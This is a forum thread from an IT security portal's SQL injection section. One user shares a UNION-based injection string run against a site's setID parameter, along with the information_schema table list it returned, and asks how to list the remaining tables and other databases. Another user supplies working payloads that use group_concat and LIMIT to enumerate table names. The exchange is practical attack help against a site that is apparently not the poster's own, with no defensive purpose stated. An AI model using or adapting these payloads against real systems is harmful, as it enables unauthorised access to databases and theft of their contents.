|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Display all tables? |
|
Posted: Mon Jun 08, 2009 8:59 pm |
|
|
RubberDoll |
Active user |
|
|
Joined: Jun 04, 2009 |
Posts: 46 |
|
|
|
|
|
|
|
How can I make sure, I have all data displayed?
I have this injection
setID=-499+union+all+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables--
and the result starts with
Quote: |
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
|
then it goes on with the not default tables names, starting with the letter 'c' going through 'd' and some starting in the letter 'g'
and it stops there
I'm almost sure it's not all the existing tables but I don't know how to make the string injection that will make it show the rest of the tables?
Also, how could I find out which other databases are available and try read their tables too? or is this impossible?
Thank you |
|
|
|
|
|
|
|
|
Posted: Mon Jun 08, 2009 9:20 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
You can use group_concat or limit.
blah.php?id=null union all select 1,2,3,4,group_concat(table_name),6 from information_schema.tables--
blah.php?id=null union all select 1,2,3,4,table_name,6 from information_schema.tables limit 15,0--
^^^
Change the number "15" to get different tables. It goes in order 16,17,etc.. |
|
|
|
|
Posted: Mon Jun 08, 2009 10:19 pm |
|
|
RubberDoll |
Active user |
|
|
Joined: Jun 04, 2009 |
Posts: 46 |
|
|
|
|
|
|
|
Thanks, capt
apperently there are no more tables in this database after all
is there a way to display other databses or I'm stuck with only the infos I can get from this databse? |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|